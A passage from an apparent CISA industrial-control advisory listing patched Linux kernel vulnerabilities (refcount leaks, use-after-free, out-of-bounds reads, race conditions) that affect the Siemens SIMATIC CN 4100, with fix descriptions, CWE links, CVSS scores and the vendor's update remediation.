<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38721</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: ctnetlink: fix refcount leak on table dump There is a reference count leak in ctnetlink_dump_table(): if (res &lt; 0) { nf_conntrack_get(&amp;ct-&gt;ct_general); // HERE cb-&gt;args[1] = (unsigned long)ct; ... While its very unlikely, its possible that ct == last. If this happens, then the refcount of ct was already incremented. This 2nd increment is never undone. This prevents the conntrack object from being released, which in turn keeps prevents cnet-&gt;count from dropping back to 0. This will then block the netns dismantle (or conntrack rmmod) as nf_conntrack_cleanup_net_list() will wait forever. This can be reproduced by running conntrack_resize.sh selftest in a loop. It takes ~20 minutes for me on a preemptible kernel on average before I see a runaway kworker spinning in nf_conntrack_cleanup_net_list. One fix would to change this to: if (res &lt; 0) { if (ct != last) nf_conntrack_get(&amp;ct-&gt;ct_general); But this reference counting isn't needed in the first place. We can just store a cookie value instead. A followup patch will do the same for ctnetlink_exp_dump_table, it looks to me as if this has the same problem and like ctnetlink_dump_table, we only need a 'skip hint', not the actual object so we can apply the same cookie strategy there as well.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38721">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/772.html">CWE-772 Missing Release of Resource after Effective Lifetime</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38723</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: LoongArch: BPF: Fix jump offset calculation in tailcall The extra pass of bpf_int_jit_compile() skips JIT context initialization which essentially skips offset calculation leaving out_offset = -1, so the jmp_offset in emit_bpf_tail_call is calculated by "#define jmp_offset (out_offset - (cur_offset))" is a negative number, which is wrong. The final generated assembly are as follow. 54: bgeu $a2, $t1, -8 # 0x0000004c 58: addi.d $a6, $s5, -1 5c: bltz $a6, -16 # 0x0000004c 60: alsl.d $t2, $a2, $a1, 0x3 64: ld.d $t2, $t2, 264 68: beq $t2, $zero, -28 # 0x0000004c Before apply this patch, the follow test case will reveal soft lock issues. cd tools/testing/selftests/bpf/ ./test_progs --allow=tailcalls/tailcall_bpf2bpf_1 dmesg: watchdog: BUG: soft lockup - CPU#2 stuck for 26s! [test_progs:25056]</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38723">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38724</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: nfsd: handle get_client_locked() failure in nfsd4_setclientid_confirm() Lei Lu recently reported that nfsd4_setclientid_confirm() did not check the return value from get_client_locked(). a SETCLIENTID_CONFIRM could race with a confirmed client expiring and fail to get a reference. That could later lead to a UAF. Fix this by getting a reference early in the case where there is an extant confirmed client. If that fails then treat it as if there were no confirmed client found at all. In the case where the unconfirmed client is expiring, just fail and return the result from get_client_locked().</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38724">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/416.html">CWE-416 Use After Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38725</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: usb: asix_devices: add phy_mask for ax88772 mdio bus Without setting phy_mask for ax88772 mdio bus, current driver may create at most 32 mdio phy devices with phy address range from 0x00 ~ 0x1f. DLink DUB-E100 H/W Ver B1 is such a device. However, only one main phy device will bind to net phy driver. This is creating issue during system suspend/resume since phy_polling_mode() in phy_state_machine() will directly deference member of phydev-&gt;drv for non-main phy devices. Then NULL pointer dereference issue will occur. Due to only external phy or internal phy is necessary, add phy_mask for ax88772 mdio bus to workarnoud the issue.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38725">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38727</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netlink: avoid infinite retry looping in netlink_unicast() netlink_attachskb() checks for the socket's read memory allocation constraints. Firstly, it has: rmem &lt; READ_ONCE(sk-&gt;sk_rcvbuf) to check if the just increased rmem value fits into the socket's receive buffer. If not, it proceeds and tries to wait for the memory under: rmem + skb-&gt;truesize &gt; READ_ONCE(sk-&gt;sk_rcvbuf) The checks don't cover the case when skb-&gt;truesize + sk-&gt;sk_rmem_alloc is equal to sk-&gt;sk_rcvbuf. Thus the function neither successfully accepts these conditions, nor manages to reschedule the task - and is called in retry loop for indefinite time which is caught as: rcu: INFO: rcu_sched self-detected stall on CPU rcu: 0-....: (25999 ticks this GP) idle=ef2/1/0x4000000000000000 softirq=262269/262269 fqs=6212 (t=26000 jiffies g=230833 q=259957) NMI backtrace for cpu 0 CPU: 0 PID: 22 Comm: kauditd Not tainted 5.10.240 #68 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.17.0-4.fc42 04/01/2014 Call Trace: dump_stack lib/dump_stack.c:120 nmi_cpu_backtrace.cold lib/nmi_backtrace.c:105 nmi_trigger_cpumask_backtrace lib/nmi_backtrace.c:62 rcu_dump_cpu_stacks kernel/rcu/tree_stall.h:335 rcu_sched_clock_irq.cold kernel/rcu/tree.c:2590 update_process_times kernel/time/timer.c:1953 tick_sched_handle kernel/time/tick-sched.c:227 tick_sched_timer kernel/time/tick-sched.c:1399 __hrtimer_run_queues kernel/time/hrtimer.c:1652 hrtimer_interrupt kernel/time/hrtimer.c:1717 __sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1113 asm_call_irq_on_stack arch/x86/entry/entry_64.S:808 netlink_attachskb net/netlink/af_netlink.c:1234 netlink_unicast net/netlink/af_netlink.c:1349 kauditd_send_queue kernel/audit.c:776 kauditd_thread kernel/audit.c:897 kthread kernel/kthread.c:328 ret_from_fork arch/x86/entry/entry_64.S:304 Restore the original behavior of the check which commit in Fixes accidentally missed when restructuring the code. Found by Linux Verification Center (linuxtesting.org).</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38727">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/835.html">CWE-835 Loop with Unreachable Exit Condition ('Infinite Loop')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38728</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: smb3: fix for slab out of bounds on mount to ksmbd With KASAN enabled, it is possible to get a slab out of bounds during mount to ksmbd due to missing check in parse_server_interfaces() (see below): BUG: KASAN: slab-out-of-bounds in parse_server_interfaces+0x14ee/0x1880 [cifs] Read of size 4 at addr ffff8881433dba98 by task mount/9827 CPU: 5 UID: 0 PID: 9827 Comm: mount Tainted: G OE 6.16.0-rc2-kasan #2 PREEMPT(voluntary) Tainted: [O]=OOT_MODULE, [E]=UNSIGNED_MODULE Hardware name: Dell Inc. Precision Tower 3620/0MWYPT, BIOS 2.13.1 06/14/2019 Call Trace: dump_stack_lvl+0x9f/0xf0 print_report+0xd1/0x670 __virt_addr_valid+0x22c/0x430 ? parse_server_interfaces+0x14ee/0x1880 [cifs] ? kasan_complete_mode_report_info+0x2a/0x1f0 ? parse_server_interfaces+0x14ee/0x1880 [cifs] kasan_report+0xd6/0x110 parse_server_interfaces+0x14ee/0x1880 [cifs] __asan_report_load_n_noabort+0x13/0x20 parse_server_interfaces+0x14ee/0x1880 [cifs] ? __pfx_parse_server_interfaces+0x10/0x10 [cifs] ? trace_hardirqs_on+0x51/0x60 SMB3_request_interfaces+0x1ad/0x3f0 [cifs] ? __pfx_SMB3_request_interfaces+0x10/0x10 [cifs] ? SMB2_tcon+0x23c/0x15d0 [cifs] smb3_qfs_tcon+0x173/0x2b0 [cifs] ? __pfx_smb3_qfs_tcon+0x10/0x10 [cifs] ? cifs_get_tcon+0x105d/0x2120 [cifs] ? do_raw_spin_unlock+0x5d/0x200 ? cifs_get_tcon+0x105d/0x2120 [cifs] ? __pfx_smb3_qfs_tcon+0x10/0x10 [cifs] cifs_mount_get_tcon+0x369/0xb90 [cifs] ? dfs_cache_find+0xe7/0x150 [cifs] dfs_mount_share+0x985/0x2970 [cifs] ? check_path.constprop.0+0x28/0x50 ? save_trace+0x54/0x370 ? __pfx_dfs_mount_share+0x10/0x10 [cifs] ? __lock_acquire+0xb82/0x2ba0 ? __kasan_check_write+0x18/0x20 cifs_mount+0xbc/0x9e0 [cifs] ? __pfx_cifs_mount+0x10/0x10 [cifs] ? do_raw_spin_unlock+0x5d/0x200 ? cifs_setup_cifs_sb+0x29d/0x810 [cifs] cifs_smb3_do_mount+0x263/0x1990 [cifs]</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38728">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/125.html">CWE-125 Out-of-bounds Read</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38729</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ALSA: usb-audio: Validate UAC3 power domain descriptors, too UAC3 power domain descriptors need to be verified with its variable bLength for avoiding the unexpected OOB accesses by malicious firmware, too.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38729">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/125.html">CWE-125 Out-of-bounds Read</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.1</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38732</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_reject: don't leak dst refcount for loopback packets recent patches to add a WARN() when replacing skb dst entry found an old bug: WARNING: include/linux/skbuff.h:1165 skb_dst_check_unset include/linux/skbuff.h:1164 [inline] WARNING: include/linux/skbuff.h:1165 skb_dst_set include/linux/skbuff.h:1210 [inline] WARNING: include/linux/skbuff.h:1165 nf_reject_fill_skb_dst+0x2a4/0x330 net/ipv4/netfilter/nf_reject_ipv4.c:234 [..] Call Trace: nf_send_unreach+0x17b/0x6e0 net/ipv4/netfilter/nf_reject_ipv4.c:325 nft_reject_inet_eval+0x4bc/0x690 net/netfilter/nft_reject_inet.c:27 expr_call_ops_eval net/netfilter/nf_tables_core.c:237 [inline] .. This is because blamed commit forgot about loopback packets. Such packets already have a dst_entry attached, even at PRE_ROUTING stage. Instead of checking hook just check if the skb already has a route attached to it.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38732">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/911.html">CWE-911 Improper Update of Reference Count</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.8</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38735</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: gve: prevent ethtool ops after shutdown A crash can occur if an ethtool operation is invoked after shutdown() is called. shutdown() is invoked during system shutdown to stop DMA operations without performing expensive deallocations. It is discouraged to unregister the netdev in this path, so the device may still be visible to userspace and kernel helpers. In gve, shutdown() tears down most internal data structures. If an ethtool operation is dispatched after shutdown(), it will dereference freed or NULL pointers, leading to a kernel panic. While graceful shutdown normally quiesces userspace before invoking the reboot syscall, forced shutdowns (as observed on GCP VMs) can still trigger this path. Fix by calling netif_device_detach() in shutdown(). This marks the device as detached so the ethtool ioctl handler will skip dispatching operations to the driver.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38735">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/664.html">CWE-664 Improper Control of a Resource Through its Lifetime</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38736</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: usb: asix_devices: Fix PHY address mask in MDIO bus initialization Syzbot reported shift-out-of-bounds exception on MDIO bus initialization. The PHY address should be masked to 5 bits (0-31). Without this mask, invalid PHY addresses could be used, potentially causing issues with MDIO bus operations. Fix this by masking the PHY address with 0x1f (31 decimal) to ensure it stays within the valid range.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38736">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39673</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ppp: fix race conditions in ppp_fill_forward_path ppp_fill_forward_path() has two race conditions: 1. The ppp-&gt;channels list can change between list_empty() and list_first_entry(), as ppp_lock() is not held. If the only channel is deleted in ppp_disconnect_channel(), list_first_entry() may access an empty head or a freed entry, and trigger a panic. 2. pch-&gt;chan can be NULL. When ppp_unregister_channel() is called, pch-&gt;chan is set to NULL before pch is removed from ppp-&gt;channels. Fix these by using a lockless RCU approach: - Use list_first_or_null_rcu() to safely test and access the first list entry. - Convert list modifications on ppp-&gt;channels to their RCU variants and add synchronize_net() after removal. - Check for a NULL pch-&gt;chan before dereferencing it.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39673">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/362.html">CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
